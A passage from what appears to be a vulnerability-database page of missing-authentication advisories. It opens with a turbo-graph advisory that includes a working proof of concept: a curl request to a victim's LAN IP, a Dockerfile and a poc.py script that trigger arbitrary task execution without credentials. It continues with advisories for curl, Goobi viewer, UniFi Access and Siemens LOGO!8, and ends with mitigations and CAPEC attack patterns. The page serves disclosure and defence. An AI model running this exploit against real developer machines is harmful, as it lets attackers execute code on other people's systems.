\u003c\u003c\u0027JSON\u0027\n{\n \"tasks\": {\n \"pwn\": { \"cache\": false }\n }\n}\nJSON\n\nnpm install\nnpx turbo-graph --port 29312\n```\n\n**Verify the server is bound to all interfaces (Flaw 1):**\n\n```bash\nss -tlnp \u0027sport = :29312\u0027\n# Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1)\n```\n\n**Attack request (from any host on the same network segment):**\n\n```bash\n# Replace \u003cvictim-ip\u003e with the victim machine\u0027s LAN IP address.\ncurl -N \"http://\u003cvictim-ip\u003e:29312/api/run?tasks=pwn\u0026force=true\"\n```\n\n**Expected outcome:**\n\n- The server returns HTTP 200 with a `text/event-stream` response.\n- An SSE `start` event is received with `args: [\"run\", \"pwn\", \"--ui=stream\", \"--force\"]`, confirming that the unauthenticated request was accepted.\n- The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution.\n\n**Containerized reproduction (automated):**\n\nThe enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run:\n\n```bash\ndocker build -t vuln-001-poc \u003cvuln-001-dir\u003e\ndocker run --rm vuln-001-poc\n```\n\nThe container confirmed all three evidence points during Phase 2 dynamic testing:\n1. `ss -tlnp sport=:29312` \u2192 `LISTEN 0 511 *:29312` (all-interface binding confirmed)\n2. `GET /api/run?tasks=pwn\u0026force=true` \u2192 HTTP 200, SSE `start` event with `args: [\"run\",\"pwn\",\"--ui=stream\",\"--force\"]` (no token required)\n3. `/tmp/poc-proof.txt` created with content `PWNED:\u003ctimestamp\u003e` (arbitrary task execution confirmed)\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer\u0027s repository.\n\nDepending on the tasks configured in the victim\u0027s `turbo.json`, the impact includes:\n\n- **Confidentiality (High):** Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.\n- **Integrity (High):** Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim\u0027s project or infrastructure.\n- **Availability (High):** Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.\n\nThe attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/turbo-graph@2.8.8` in a shared or corporate network environment are affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)\n#\n# Layout:\n# /victim/ - simulated developer workspace that runs turbo-graph\n# /victim/pwn.js - the task payload executed when the attacker fires /api/run\n# /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn\n#\n# Build:\n# docker build -t vuln-001-poc \u003cvuln-001-dir\u003e\n#\n# Run:\n# docker run --rm vuln-001-poc\n\nFROM node:20-slim\n\n# System tools:\n# python3 - runs poc.py\n# iproute2 - ss(8) for socket-binding introspection (evidence collection)\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends python3 iproute2 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# ---------------------------------------------------------------------------\n# Victim workspace: a minimal Turborepo project that a developer might run\n# ---------------------------------------------------------------------------\nWORKDIR /victim\n\n# package.json: defines the \u0027pwn\u0027 task script and package dependencies.\n# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).\n# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.\nRUN echo \u0027{\"private\":true,\"name\":\"victim-project\",\"packageManager\":\"npm@10.8.2\",\"scripts\":{\"pwn\":\"node /victim/pwn.js\"},\"devDependencies\":{\"@yeger/turbo-graph\":\"2.8.8\",\"turbo\":\"^2.0.0\",\"react\":\"^18.0.0\",\"react-dom\":\"^18.0.0\"}}\u0027 \\\n \u003e /victim/package.json\n\n# turbo.json: declares the \u0027pwn\u0027 task with caching disabled so it always runs.\nRUN echo \u0027{\"tasks\":{\"pwn\":{\"cache\":false}}}\u0027 \\\n \u003e /victim/turbo.json\n\n# pwn.js: task payload \u2014 writes a timestamped proof file and logs to stdout.\n# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.\nRUN echo \u0027const fs = require(\"fs\"); const ts = Date.now().toString(); fs.writeFileSync(\"/tmp/poc-proof.txt\", \"PWNED:\" + ts); console.log(\"TASK_EXECUTED:\" + ts);\u0027 \\\n \u003e /victim/pwn.js\n\n# Install packages from the declarations in package.json.\n# --legacy-peer-deps avoids strict peer-dep resolution failures.\n# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built\n# .next/ directory, so no separate \u0027next build\u0027 step is required.\nRUN npm install --legacy-peer-deps --no-fund --no-audit 2\u003e\u00261 | tail -5\n\n# ---------------------------------------------------------------------------\n# Attacker PoC script\n# ---------------------------------------------------------------------------\nCOPY poc.py /poc.py\n\n# Default: execute the PoC (start server, fire unauthenticated request, verify)\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution\nPackage: @yeger/turbo-graph@2.8.8\nCWE: CWE-306 (Missing Authentication for Critical Function)\nCVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nTwo independent flaws combine into the vulnerability:\n 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a\n hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).\n 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler\n has zero authentication; attacker-supplied ?tasks= values are passed\n directly to spawn(turboBin, [\u0027run\u0027, ...tasks], { cwd: victimDir }).\n\nAttack scenario reproduced here:\n - Victim runs `turbo-graph` from a project with a side-effecting task.\n - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.\n - The server executes `turbo run pwn` in the victim\u0027s project directory.\n - The \u0027pwn\u0027 task writes /tmp/poc-proof.txt, proving arbitrary execution.\n\"\"\"\n\nimport os\nimport socket\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nPROOF_FILE = \"/tmp/poc-proof.txt\"\nPORT = 29312\nVICTIM_DIR = \"/victim\"\nTURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, \"node_modules\", \".bin\", \"turbo-graph\")\nSERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow\nREQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef wait_for_port(host: str, port: int, timeout: int) -\u003e bool:\n \"\"\"Poll until the TCP port accepts connections or timeout expires.\"\"\"\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=2):\n return True\n except (ConnectionRefusedError, OSError):\n time.sleep(1)\n return False\n\n\ndef get_socket_binding(port: int) -\u003e str:\n \"\"\"Return the raw \u0027ss\u0027 output for the listening socket on *port*.\"\"\"\n try:\n result = subprocess.run(\n [\"ss\", \"-tlnp\", f\"sport = :{port}\"],\n capture_output=True,\n text=True,\n timeout=5,\n )\n return result.stdout.strip()\n except Exception as exc:\n return f\"(ss unavailable: {exc})\"\n\n\ndef binding_is_all_interfaces(ss_output: str) -\u003e bool:\n \"\"\"Return True when the socket is listening on all interfaces.\"\"\"\n return any(\n marker in ss_output\n for marker in (\"0.0.0.0\", \"*:\", \"[::]\", \":::\")\n )\n\n\ndef read_sse_stream(url: str, timeout: int) -\u003e list:\n \"\"\"\n Open *url* as a Server-Sent Events stream and return parsed events.\n Each event is a dict with keys \u0027type\u0027 and optionally \u0027data\u0027.\n Stops when an \u0027end\u0027 event is received or *timeout* seconds elapse.\n \"\"\"\n events = []\n try:\n req = urllib.request.Request(\n url,\n headers={\n \"Accept\": \"text/event-stream\",\n \"Cache-Control\": \"no-cache\",\n \"Connection\": \"keep-alive\",\n },\n )\n with urllib.request.urlopen(req, timeout=timeout) as resp:\n print(f\" [HTTP] {resp.status} {resp.reason}\")\n print(f\" [HTTP] Content-Type: {resp.getheader(\u0027Content-Type\u0027, \u0027\u0027)}\")\n buf = \"\"\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n chunk = resp.read(4096)\n if not chunk:\n break\n buf += chunk.decode(\"utf-8\", errors=\"replace\")\n # Parse complete SSE blocks (separated by blank lines)\n while \"\\n\\n\" in buf:\n block, buf = buf.split(\"\\n\\n\", 1)\n ev: dict = {}\n for line in block.strip().split(\"\\n\"):\n if line.startswith(\"event: \"):\n ev[\"type\"] = line[7:]\n elif line.startswith(\"data: \"):\n ev[\"data\"] = line[6:]\n # ignore SSE comments (\u0027:\u0027) and \u0027retry:\u0027 lines\n if ev.get(\"type\"):\n events.append(ev)\n preview = ev.get(\"data\", \"\")[:120]\n print(f\" [SSE] event={ev[\u0027type\u0027]} data={preview}\")\n if ev[\"type\"] == \"end\":\n return events\n except urllib.error.HTTPError as exc:\n print(f\" [!] HTTP error: {exc.code} {exc.reason}\")\n except Exception as exc:\n print(f\" [!] Stream error: {type(exc).__name__}: {exc}\")\n return events\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\n\ndef main() -\u003e int:\n sep = \"=\" * 64\n print(sep)\n print(\"VULN-001 PoC \u2014 Unauthenticated Turborepo Task Execution\")\n print(\"Package : @yeger/turbo-graph@2.8.8\")\n print(\"CWE-306 : Missing Authentication for Critical Function\")\n print(sep)\n print()\n\n # Remove stale proof file from a previous run\n if os.path.exists(PROOF_FILE):\n os.remove(PROOF_FILE)\n\n # ------------------------------------------------------------------\n # Step 1: Start turbo-graph server from the victim project directory\n # The CLI does NOT pass a hostname to .listen(), so Node.js binds to\n # 0.0.0.0 (all interfaces) \u2014 see index.ts:44.\n # ------------------------------------------------------------------\n print(f\"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...\")\n server = subprocess.Popen(\n [TURBO_GRAPH_BIN, \"--port\", str(PORT)],\n cwd=VICTIM_DIR,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n\n # ------------------------------------------------------------------\n # Step 2: Wait for the port to become available\n # ------------------------------------------------------------------\n print(f\"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...\")\n ready = wait_for_port(\"127.0.0.1\", PORT, timeout=SERVER_STARTUP_TIMEOUT)\n if not ready:\n server.kill()\n stdout, _ = server.communicate()\n print(f\"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.\")\n print(f\" stdout/stderr:\\n{stdout[:2000]}\")\n return 1\n print(f\"[+] Server is accepting connections on port {PORT}.\")\n\n # ------------------------------------------------------------------\n # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)\n # Flaw 1: .listen(port) without hostname \u2192 network-exposed.\n # ------------------------------------------------------------------\n ss_output = get_socket_binding(PORT)\n print(f\"\\n[3] Socket binding (ss -tlnp sport=:{PORT}):\")\n print(f\" {ss_output}\")\n if binding_is_all_interfaces(ss_output):\n print(f\"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.\")\n else:\n print(f\"[?] Could not confirm all-interface binding; proceeding with request test.\")\n\n # ------------------------------------------------------------------\n # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request\n # Flaw 2: no authentication, authorisation, CSRF check, or task\n # allowlist \u2014 see route.ts:156-177.\n # ------------------------------------------------------------------\n url = f\"http://127.0.0.1:{PORT}/api/run?tasks=pwn\u0026force=true\"\n print(f\"\\n[4] Sending unauthenticated HTTP request (no token, no credentials):\")\n print(f\" GET {url}\")\n sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)\n\n # Allow a moment for any buffered I/O in the child process to flush\n time.sleep(3)\n\n # ------------------------------------------------------------------\n # Step 5: Evaluate exploitation results\n # ------------------------------------------------------------------\n exploited = os.path.exists(PROOF_FILE)\n proof_content = open(PROOF_FILE).read().strip() if exploited else \"\"\n\n start_event = next((e for e in sse_events if e.get(\"type\") == \"start\"), None)\n end_event = next((e for e in sse_events if e.get(\"type\") == \"end\"), None)\n log_events = [e for e in sse_events if e.get(\"type\") in (\"log\", \"stderr\")]\n\n print()\n print(sep)\n print(\"EVIDENCE SUMMARY\")\n print(sep)\n\n # Evidence A: socket binding\n if binding_is_all_interfaces(ss_output):\n print(f\"[A] FLAW-1 \u2014 Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}\")\n else:\n print(f\"[A] FLAW-1 \u2014 ss output: {ss_output[:80]}\")\n\n # Evidence B: unauthenticated SSE response\n if start_event:\n print(f\"[B] FLAW-2 \u2014 Unauthenticated /api/run accepted; SSE start args:\")\n print(f\" {start_event.get(\u0027data\u0027, \u0027\u0027)}\")\n else:\n received = [e.get(\"type\") for e in sse_events]\n print(f\"[B] FLAW-2 \u2014 SSE events received: {received}\")\n\n # Evidence C: turbo task exit code\n if end_event:\n print(f\"[C] TURBO \u2014 turbo run exit code: {end_event.get(\u0027data\u0027, \u0027\u0027)}\")\n\n # Evidence D: proof file (arbitrary code execution)\n if exploited:\n print(f\"[D] EXPLOIT \u2014 Proof file created: {PROOF_FILE}\")\n print(f\" Content: {proof_content}\")\n else:\n print(f\"[D] EXPLOIT \u2014 Proof file NOT created: {PROOF_FILE}\")\n if log_events:\n print(f\" Task stdout/stderr (first 5 lines):\")\n for ev in log_events[:5]:\n print(f\" [{ev[\u0027type\u0027]}] {ev.get(\u0027data\u0027, \u0027\u0027)}\")\n\n print(sep)\n\n # Clean up\n server.kill()\n server.wait(timeout=10)\n\n if exploited:\n print(\"\\n[RESULT] PASS \u2014 Exploitation reproduced. Proof file written by unauthenticated request.\")\n return 0\n else:\n print(\"\\n[RESULT] FAIL \u2014 Proof file not created. See evidence above for diagnostics.\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-2r5q-h53f-9rp3",
"modified": "2026-09-09T23:47:55Z",
"published": "2026-09-09T23:47:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3"
},
{
"type": "PACKAGE",
"url": "https://github.com/DerYeger/yeger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run"
}
GHSA-2R69-696X-QXJ9
Vulnerability from github – Published: 2022-05-27 00:00 – Updated: 2024-03-27 15:30An improper authentication vulnerability exists in curl 7.33.0 to and including 7.82.0 which might allow reuse OAUTH2-authenticated connections without properly making sure that the connection was authenticated with the same credentials as set for this transfer. This affects SASL-enabled protocols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only).
{
"affected": [],
"aliases": [
"CVE-2022-22576"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-26T17:15:00Z",
"severity": "HIGH"
},
"details": "An improper authentication vulnerability exists in curl 7.33.0 to and including 7.82.0 which might allow reuse OAUTH2-authenticated connections without properly making sure that the connection was authenticated with the same credentials as set for this transfer. This affects SASL-enabled protocols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only).",
"id": "GHSA-2r69-696x-qxj9",
"modified": "2024-03-27T15:30:35Z",
"published": "2022-05-27T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22576"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1526328"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202212-01"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220609-0008"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5197"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2RGP-F66F-4499
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-06-08 23:55Summary
The Goobi viewer REST endpoint POST /api/v1/index/stream accepted an arbitrary Solr streaming
expression from unauthenticated network clients and forwarded it to the backend Solr server without restriction.
An attacker could read the complete Solr index and, in default Solr deployments, also modify or delete indexed records.
The API endpoint has now been removed.
Impact
-
Complete Solr index read without authentication. All documents indexed by the viewer including those protected by access conditions such as moving walls, licence requirements or IP restrictions - can be read in full.
-
Index data modification.
update()streaming expressions overwrite indexed field values. An attacker can alter metadata, changeACCESSCONDITIONvalues, or corrupt document structure. -
Index data deletion.
delete()streaming expressions permanently remove documents. A single expression can delete the entire collection, requiring a full re-index to recover.
Patches
The endpoint was removed in 326980f24c
Workarounds
Until an update can be deployed, the endpoint should be blocked by a reverse proxy or in the tomcat configuration.
For Apache httpd the following block can be used in the vhost configuration:
<LocationMatch ^.*api/v[12]/index/stream.*$>
Require all denied
</LocationMatch>
Alternatively the following security constraint can be added in tomcat via the relevant web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>blocked endpoint</web-resource-name>
<url-pattern>/api/v1/index/stream</url-pattern>
<url-pattern>/api/v1/index/stream/*</url-pattern>
</web-resource-collection>
<auth-constraint/>
</security-constraint>
References
- Fix commit: 326980f24c
- Introducing commit: 6bfb1cbd42
- Solr Streaming Expressions reference
Contact
If you have any questions or comments about this advisory:
- Email us at support@intranda.com
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.goobi.viewer:viewer-core"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.0"
},
{
"last_affected": "26.04"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45083"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:24Z",
"nvd_published_at": "2026-05-27T22:16:36Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe Goobi viewer REST endpoint `POST /api/v1/index/stream` accepted an arbitrary Solr streaming\nexpression from unauthenticated network clients and forwarded it to the backend Solr server without restriction.\nAn attacker could read the complete Solr index and, in default Solr deployments, also modify or delete indexed records.\n\nThe API endpoint has now been removed.\n\n### Impact\n\n- **Complete Solr index read without authentication.**\n All documents indexed by the viewer including those protected by access conditions such as moving walls, licence requirements or IP restrictions - can be read in full.\n\n- **Index data modification.**\n `update()` streaming expressions overwrite indexed field values. An attacker can alter metadata, change `ACCESSCONDITION` values, or corrupt document structure.\n\n- **Index data deletion.**\n `delete()` streaming expressions permanently remove documents. A single expression can delete the entire collection, requiring a full re-index to recover.\n\n### Patches\n\nThe endpoint was removed in 326980f24c\n\n### Workarounds\n\nUntil an update can be deployed, the endpoint should be blocked by a reverse proxy or in the tomcat configuration.\n\nFor Apache httpd the following block can be used in the vhost configuration:\n\n```\n\u003cLocationMatch ^.*api/v[12]/index/stream.*$\u003e\n Require all denied\n\u003c/LocationMatch\u003e\n```\n\nAlternatively the following security constraint can be added in tomcat via the relevant web.xml:\n```\n\u003csecurity-constraint\u003e\n \u003cweb-resource-collection\u003e\n \u003cweb-resource-name\u003eblocked endpoint\u003c/web-resource-name\u003e\n \u003curl-pattern\u003e/api/v1/index/stream\u003c/url-pattern\u003e\n \u003curl-pattern\u003e/api/v1/index/stream/*\u003c/url-pattern\u003e\n \u003c/web-resource-collection\u003e\n \u003cauth-constraint/\u003e\n\u003c/security-constraint\u003e\n```\n\n### References\n\n- Fix commit: 326980f24c\n- Introducing commit: 6bfb1cbd42\n- [Solr Streaming Expressions reference](https://solr.apache.org/guide/solr/latest/query-guide/streaming-expressions.html)\n\n\n### Contact\n\nIf you have any questions or comments about this advisory:\n\n- Email us at [support@intranda.com](mailto:support@intranda.com)",
"id": "GHSA-2rgp-f66f-4499",
"modified": "2026-06-08T23:55:04Z",
"published": "2026-05-13T15:33:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/intranda/goobi-viewer-core/security/advisories/GHSA-2rgp-f66f-4499"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45083"
},
{
"type": "WEB",
"url": "https://github.com/intranda/goobi-viewer-core/commit/326980f24ce1e7cfabf658dd5f615934ca68ebbd"
},
{
"type": "WEB",
"url": "https://github.com/intranda/goobi-viewer-core/commit/6bfb1cbd4250b0b347e84a80f38e8bf46acac705"
},
{
"type": "PACKAGE",
"url": "https://github.com/intranda/goobi-viewer-core"
},
{
"type": "WEB",
"url": "https://github.com/intranda/goobi-viewer-core/releases/tag/v26.04.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Goobi viewer - Core: Unauthenticated Solr Streaming Expression Proxy"
}
GHSA-2RJ5-GH6Q-72FP
Vulnerability from github – Published: 2025-10-31 00:30 – Updated: 2025-10-31 15:30A malicious actor with access to the management network could exploit a misconfiguration in UniFi’s door access application, UniFi Access, that exposed a management API without proper authentication. This vulnerability was introduced in Version 3.3.22 and was fixed in Version 4.0.21 and later.
Affected Products: UniFi Access Application (Version 3.3.22 through 3.4.31).
Mitigation: Update your UniFi Access Application to Version 4.0.21 or later.
{
"affected": [],
"aliases": [
"CVE-2025-52665"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T00:15:37Z",
"severity": "CRITICAL"
},
"details": "A malicious actor with access to the management network could exploit a misconfiguration in UniFi\u2019s door access application, UniFi Access, that exposed a management API without proper authentication. This vulnerability was introduced in Version 3.3.22 and was fixed in Version 4.0.21 and later.\u00a0\n \nAffected Products:\nUniFi Access Application (Version 3.3.22 through 3.4.31). \n \n\nMitigation:\nUpdate your UniFi Access Application to Version 4.0.21 or later.",
"id": "GHSA-2rj5-gh6q-72fp",
"modified": "2025-10-31T15:30:31Z",
"published": "2025-10-31T00:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52665"
},
{
"type": "WEB",
"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RP9-FFVM-XJC8
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2022-05-24 16:45A vulnerability has been identified in LOGO!8 BM (All versions). Attackers with access to port 10005/tcp could perform device reconfigurations and obtain project files from the devices. The system manual recommends to protect access to this port. The security vulnerability could be exploited by an unauthenticated attacker with network access to port 10005/tcp. No user interaction is required to exploit this security vulnerability. The vulnerability impacts confidentiality, integrity, and availability of the device. At the time of advisory publication no public exploitation of this security vulnerability was known.
{
"affected": [],
"aliases": [
"CVE-2019-10919"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-14T20:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been identified in LOGO!8 BM (All versions). Attackers with access to port 10005/tcp could perform device reconfigurations and obtain project files from the devices. The system manual recommends to protect access to this port. The security vulnerability could be exploited by an unauthenticated attacker with network access to port 10005/tcp. No user interaction is required to exploit this security vulnerability. The vulnerability impacts confidentiality, integrity, and availability of the device. At the time of advisory publication no public exploitation of this security vulnerability was known.",
"id": "GHSA-2rp9-ffvm-xjc8",
"modified": "2022-05-24T16:45:38Z",
"published": "2022-05-24T16:45:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10919"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-542701.pdf"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/May/73"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/153123/Siemens-LOGO-8-Missing-Authentication.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/May/45"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108382"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.